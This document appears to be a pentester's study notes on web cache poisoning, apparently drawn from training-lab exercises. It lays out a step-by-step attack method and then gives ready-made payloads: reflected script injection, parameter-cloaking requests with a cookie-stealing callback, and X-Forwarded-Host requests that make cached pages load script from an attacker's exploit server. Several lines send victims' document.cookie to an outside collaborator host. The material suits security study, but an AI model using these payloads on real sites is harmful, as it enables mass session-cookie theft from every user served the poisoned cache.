Web Cache Poison

1. Identify cacheable resources:

   • Use a tool like Burp Suite or browser developer tools to inspect the response headers of a web page.

   • Look for cache-control headers (Cache-Control, Expires, Vary) that indicate the response is cacheable by intermediaries (e.g., CDNs, proxies).

2. Find input that affects the response:

   • Check if parts of the HTTP request (such as query parameters or headers like Host, X-Forwarded-For) affect the response content.

3. Test for reflection of malicious content:

   • Inject payloads that might poison the cache. For example:

     • Use a parameter like ?search=<script>alert(1)</script> and see if the response reflects this input.

4. Poison the cache:

   • Craft a malicious payload and inject it into a cacheable response. This could be as simple as modifying the Host header or using query strings to deliver a malicious script:

     • E.g., GET /index.html?lang=<script>alert(1)</script>.

5. Verify cache poisoning:

   • Access the resource from a different browser or device to see if the poisoned response is served from the cache to other users.

6. Deliver payload to multiple victims:

   • Once the cache is poisoned, any user accessing the resource will receive the malicious payload until the cache is purged or updated.

Common attack vectors:

• HTTP headers like Host, X-Forwarded-Host, or X-Forwarded-For.

• Query parameters that affect the response in a cacheable way.

1. Identify and evaluate unkeyed inputs

   1. To automate the process of identifying unkeyed inputs by use Param Miner, you simply right-click on a request that you want to investigate and click "Guess headers" or "Guess parameters"

2. Elicit a harmful response from the back-end server

3. Get the response cached

Amigious body

Overwrite param by body

callback=alert(1)

Unkeyed header

Hosting on the exploit server, injecting the X-Forwarded-Host header in request(script tracking forwarded request with script on /resources/js/tracking.js), and poison the cache until victim hits poison cache. On exploit server:

document.location='https://OASTIFY.COM/?cookies='+document.cookie;

Unkeyed parameter

GET /?utm_content='/><script>document.location="https://OASTIFY.COM?c="+document.cookie</script>

Parameter cloaking

Param Miner extension doing a Bulk scan > Rails parameter cloaking scan

The callback parameter is keyed, and thus cannot poison cache for victim user, but by combine duplicate parameter with utm_content it then excluded and cache can be poisoned.

#proof
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

#cookie stealer
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

Posion ambigous request

Identify that cache hit headers in responses, then test if the target support X-Forwarded-Host or X-Forwarded-Scheme headers. These headers can allow for the stealing of victim session cookie.

GET /resources/js/tracking.js?cb=123 HTTP/2
Host: TARGET.net
X-Forwarded-Host: EXPLOIT.net
X-Forwarded-Scheme: nothttps


document.location='https://OASTIFY.COM/?cookies='+document.cookie;